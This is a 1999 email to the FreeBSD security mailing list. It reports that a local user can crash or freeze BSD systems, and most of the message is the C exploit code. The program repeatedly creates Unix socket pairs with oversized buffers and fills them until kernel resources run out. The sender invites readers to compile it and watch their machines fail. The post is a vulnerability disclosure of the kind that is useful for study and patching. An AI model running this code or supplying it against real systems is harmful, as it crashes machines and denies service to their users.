Date: Fri, 10 Sep 1999 17:21:27 +0200 (CEST) From: wdmgds <wdmgds@xs4all.nl> To: freebsd-security@FreeBSD.ORG Subject: *bsd crashes/freezes/hangs on local user xploit Message-ID: <Pine.BSI.4.10.9909101717140.1525-100000@xs3.xs4all.nl>
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Dear /etc
compile this code snipplet and wheep ...
it crashed and mutilated our 227 and 3x boxen..
BSDi4 just freezes a couple of seconds,
bye
--
#include <unistd.h>
#include <sys/socket.h>
#include <fcntl.h>
#define BUFFERSIZE 204800
/* kiddy var le surgery */
extern int
main(void)
{
int p[2], i;
char crap[BUFFERSIZE];
while (1)
{
if (socketpair(AF_UNIX, SOCK_STREAM, 0, p) == -1)
break;
i = BUFFERSIZE;
setsockopt(p[0], SOL_SOCKET, SO_RCVBUF, &i, sizeof(int));
setsockopt(p[0], SOL_SOCKET, SO_SNDBUF, &i, sizeof(int));
setsockopt(p[1], SOL_SOCKET, SO_RCVBUF, &i, sizeof(int));
setsockopt(p[1], SOL_SOCKET, SO_SNDBUF, &i, sizeof(int));
fcntl(p[0], F_SETFL, O_NONBLOCK);
fcntl(p[1], F_SETFL, O_NONBLOCK);
write(p[0], crap, BUFFERSIZE);
write(p[1], crap, BUFFERSIZE);
}
exit(0);
}
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